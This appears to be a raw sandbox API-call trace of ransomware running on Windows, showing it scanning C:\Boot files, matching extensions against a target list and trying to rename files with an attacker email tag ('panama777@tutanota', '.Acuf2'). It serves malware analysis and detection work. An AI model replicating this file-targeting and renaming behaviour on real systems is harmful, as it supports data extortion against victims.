	[0037.063] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29
	[0037.063] lstrlenW (lpString=".doc") returned 4
	[0037.063] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0037.063] lstrlenW (lpString=".docx") returned 5
	[0037.063] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0037.063] lstrlenW (lpString=".pdf") returned 4
	[0037.063] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0037.063] lstrlenW (lpString=".xls") returned 4
	[0037.063] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0037.063] lstrlenW (lpString=".xlsx") returned 5
	[0037.063] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0037.063] lstrlenW (lpString=".ppt") returned 4
	[0037.063] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0037.063] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29
	[0037.063] lstrlenW (lpString=".zip") returned 4
	[0037.064] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0037.064] lstrlenW (lpString=".rar") returned 4
	[0037.064] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0037.064] lstrlenW (lpString=".bz2") returned 4
	[0037.064] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0037.064] lstrlenW (lpString=".7z") returned 3
	[0037.064] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0037.064] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29
	[0037.064] lstrlenW (lpString=".dbf") returned 4
	[0037.064] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0037.064] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29
	[0037.064] lstrlenW (lpString=".1cd") returned 4
	[0037.064] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0037.064] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29
	[0037.064] lstrlenW (lpString=".jpg") returned 4
	[0037.064] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0037.065] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29
	[0037.065] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29
	[0037.065] lstrlenW (lpString=".doc") returned 4
	[0037.065] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0037.065] lstrlenW (lpString=".docx") returned 5
	[0037.065] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0037.065] lstrlenW (lpString=".pdf") returned 4
	[0037.065] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0037.065] lstrlenW (lpString=".xls") returned 4
	[0037.065] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0037.065] lstrlenW (lpString=".xlsx") returned 5
	[0037.065] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0037.065] lstrlenW (lpString=".ppt") returned 4
	[0037.065] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0037.065] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29
	[0037.065] lstrlenW (lpString=".zip") returned 4
	[0037.065] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0037.065] lstrlenW (lpString=".rar") returned 4
	[0037.065] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0037.065] lstrlenW (lpString=".bz2") returned 4
	[0037.065] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0037.065] lstrlenW (lpString=".7z") returned 3
	[0037.065] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0037.065] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29
	[0037.065] lstrlenW (lpString=".dbf") returned 4
	[0037.065] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0037.065] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29
	[0037.065] lstrlenW (lpString=".1cd") returned 4
	[0037.065] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0037.065] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29
	[0037.065] lstrlenW (lpString=".jpg") returned 4
	[0037.065] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0037.066] lstrcmpiW (lpString1=".mui", lpString2=".Acuf2") returned 1
	[0037.066] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0037.066] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168
	[0037.066] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x35aff1c | out: lpFileSize=0x35aff1c*=85056) returned 1
	[0037.066] CloseHandle (hObject=0x168) returned 1
	[0037.066] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui")) returned 0x20
	[0037.066] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0037.066] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0037.066] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29
	[0037.066] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29
	[0037.066] lstrlenW (lpString=".doc") returned 4
	[0037.066] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0037.067] lstrlenW (lpString=".docx") returned 5
	[0037.067] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0037.067] lstrlenW (lpString=".pdf") returned 4
	[0037.067] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0037.067] lstrlenW (lpString=".xls") returned 4
	[0037.067] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0037.067] lstrlenW (lpString=".xlsx") returned 5
	[0037.067] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0037.067] lstrlenW (lpString=".ppt") returned 4
	[0037.067] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0037.067] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29
	[0037.067] lstrlenW (lpString=".zip") returned 4
	[0037.067] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0037.067] lstrlenW (lpString=".rar") returned 4
	[0037.067] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0037.067] lstrlenW (lpString=".bz2") returned 4
	[0037.067] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0037.067] lstrlenW (lpString=".7z") returned 3
	[0037.067] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0037.067] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29
	[0037.067] lstrlenW (lpString=".dbf") returned 4
	[0037.067] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0037.067] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29
	[0037.067] lstrlenW (lpString=".1cd") returned 4
	[0037.067] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0037.067] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29
	[0037.067] lstrlenW (lpString=".jpg") returned 4
	[0037.067] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0037.067] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29
	[0037.067] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29
	[0037.067] lstrlenW (lpString=".doc") returned 4
	[0037.068] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0037.068] lstrlenW (lpString=".docx") returned 5
	[0037.068] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0037.068] lstrlenW (lpString=".pdf") returned 4
	[0037.068] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0037.068] lstrlenW (lpString=".xls") returned 4
	[0037.068] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0037.068] lstrlenW (lpString=".xlsx") returned 5
	[0037.068] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0037.068] lstrlenW (lpString=".ppt") returned 4
	[0037.068] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0037.068] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29
	[0037.068] lstrlenW (lpString=".zip") returned 4
	[0037.068] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0037.068] lstrlenW (lpString=".rar") returned 4
	[0037.068] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0037.068] lstrlenW (lpString=".bz2") returned 4
	[0037.068] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0037.068] lstrlenW (lpString=".7z") returned 3
	[0037.068] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0037.068] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29
	[0037.068] lstrlenW (lpString=".dbf") returned 4
	[0037.068] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0037.068] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29
	[0037.068] lstrlenW (lpString=".1cd") returned 4
	[0037.068] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0037.068] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29
	[0037.068] lstrlenW (lpString=".jpg") returned 4
	[0037.068] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0037.069] lstrcmpiW (lpString1=".mui", lpString2=".Acuf2") returned 1
	[0037.069] lstrlenW (lpString="memtest.exe.mui") returned 15
	[0037.069] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168
	[0037.069] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x35aff1c | out: lpFileSize=0x35aff1c*=43600) returned 1
	[0037.069] CloseHandle (hObject=0x168) returned 1
	[0037.069] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui")) returned 0x20
	[0037.069] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\boot\\en-us\\memtest.exe.mui.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0037.069] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0037.069] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29
	[0037.069] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29
	[0037.069] lstrlenW (lpString=".doc") returned 4
	[0037.069] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0037.069] lstrlenW (lpString=".docx") returned 5
	[0037.069] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0037.069] lstrlenW (lpString=".pdf") returned 4
	[0037.069] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0037.069] lstrlenW (lpString=".xls") returned 4
	[0037.069] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0037.070] lstrlenW (lpString=".xlsx") returned 5
	[0037.070] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0037.070] lstrlenW (lpString=".ppt") returned 4
	[0037.070] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0037.070] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29
	[0037.070] lstrlenW (lpString=".zip") returned 4
	[0037.070] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0037.070] lstrlenW (lpString=".rar") returned 4
	[0037.070] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0037.070] lstrlenW (lpString=".bz2") returned 4
	[0037.070] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0037.070] lstrlenW (lpString=".7z") returned 3
	[0037.070] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0037.070] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29
	[0037.070] lstrlenW (lpString=".dbf") returned 4
	[0037.070] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0037.070] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29
	[0037.070] lstrlenW (lpString=".1cd") returned 4
	[0037.070] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0037.070] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29
	[0037.070] lstrlenW (lpString=".jpg") returned 4
	[0037.070] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0037.070] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29
	[0037.070] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29
	[0037.070] lstrlenW (lpString=".doc") returned 4
	[0037.070] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0037.070] lstrlenW (lpString=".docx") returned 5
	[0037.070] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0037.070] lstrlenW (lpString=".pdf") returned 4
	[0037.070] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0037.070] lstrlenW (lpString=".xls") returned 4
	[0037.071] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0037.071] lstrlenW (lpString=".xlsx") returned 5
	[0037.071] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0037.071] lstrlenW (lpString=".ppt") returned 4
	[0037.071] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0037.071] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29
	[0037.071] lstrlenW (lpString=".zip") returned 4
	[0037.071] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0037.071] lstrlenW (lpString=".rar") returned 4
	[0037.071] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0037.071] lstrlenW (lpString=".bz2") returned 4
	[0037.071] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0037.071] lstrlenW (lpString=".7z") returned 3
	[0037.071] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0037.071] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29
	[0037.071] lstrlenW (lpString=".dbf") returned 4
	[0037.071] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0037.071] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29
	[0037.071] lstrlenW (lpString=".1cd") returned 4
	[0037.071] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0037.071] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29
	[0037.071] lstrlenW (lpString=".jpg") returned 4
	[0037.071] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0037.071] lstrcmpiW (lpString1=".mui", lpString2=".Acuf2") returned 1
	[0037.071] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0037.071] CreateFileW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168
	[0037.072] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x35aff1c | out: lpFileSize=0x35aff1c*=90192) returned 1
	[0037.072] CloseHandle (hObject=0x168) returned 1
	[0037.072] GetFileAttributesW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui")) returned 0x20
	[0037.072] GetFileAttributesW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0037.072] CreateFileW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0037.072] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29
	[0037.072] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29
	[0037.072] lstrlenW (lpString=".doc") returned 4
	[0037.072] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0037.072] lstrlenW (lpString=".docx") returned 5
	[0037.073] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0037.073] lstrlenW (lpString=".pdf") returned 4
	[0037.073] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0037.073] lstrlenW (lpString=".xls") returned 4
	[0037.073] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0037.073] lstrlenW (lpString=".xlsx") returned 5
	[0037.073] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0037.073] lstrlenW (lpString=".ppt") returned 4
	[0037.073] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0037.073] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29
	[0037.073] lstrlenW (lpString=".zip") returned 4
	[0037.073] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0037.073] lstrlenW (lpString=".rar") returned 4
	[0037.073] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0037.073] lstrlenW (lpString=".bz2") returned 4
	[0037.073] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0037.073] lstrlenW (lpString=".7z") returned 3
	[0037.073] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0037.075] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x35aff1c | out: lpFileSize=0x35aff1c*=89152) returned 1
	[0037.075] CloseHandle (hObject=0x168) returned 1
	[0037.075] GetFileAttributesW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui")) returned 0x20
	[0037.075] GetFileAttributesW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0037.075] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0037.075] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x35aff1c | out: lpFileSize=0x35aff1c*=3694080) returned 1
	[0037.075] CloseHandle (hObject=0x168) returned 1
	[0037.075] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf")) returned 0x20
	[0037.075] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0037.076] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0037.113] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x35aff1c | out: lpFileSize=0x35aff1c*=3876772) returned 1
	[0037.113] CloseHandle (hObject=0x16c) returned 1
	[0037.114] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf")) returned 0x20
	[0037.114] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0037.114] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0037.114] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x35aff1c | out: lpFileSize=0x35aff1c*=2371360) returned 1
	[0037.114] CloseHandle (hObject=0x16c) returned 1
	[0037.114] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0x20
	[0037.114] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0037.114] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0037.115] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x35aff1c | out: lpFileSize=0x35aff1c*=47452) returned 1
	[0037.115] CloseHandle (hObject=0x16c) returned 1
	[0037.115] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf")) returned 0x20
	[0037.115] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0037.115] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0037.115] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x35aff1c | out: lpFileSize=0x35aff1c*=93248) returned 1
	[0037.115] CloseHandle (hObject=0x16c) returned 1
	[0037.115] GetFileAttributesW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui")) returned 0x20
	[0037.115] GetFileAttributesW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0037.115] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0037.116] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x35aff1c | out: lpFileSize=0x35aff1c*=90688) returned 1
	[0037.116] CloseHandle (hObject=0x16c) returned 1
	[0037.119] GetFileAttributesW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui")) returned 0x20
	[0037.119] GetFileAttributesW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0037.119] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0037.119] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x35aff1c | out: lpFileSize=0x35aff1c*=90704) returned 1
	[0037.119] CloseHandle (hObject=0x16c) returned 1
	[0037.119] GetFileAttributesW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui")) returned 0x20
	[0037.119] GetFileAttributesW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0037.119] CreateFileW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0037.120] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x35aff1c | out: lpFileSize=0x35aff1c*=76352) returned 1
	[0037.120] CloseHandle (hObject=0x16c) returned 1
	[0037.120] GetFileAttributesW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui")) returned 0x20
	[0037.120] GetFileAttributesW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0037.120] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0037.120] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x35aff1c | out: lpFileSize=0x35aff1c*=75344) returned 1
	[0037.120] CloseHandle (hObject=0x16c) returned 1
	[0037.120] GetFileAttributesW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui")) returned 0x20
	[0037.120] GetFileAttributesW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
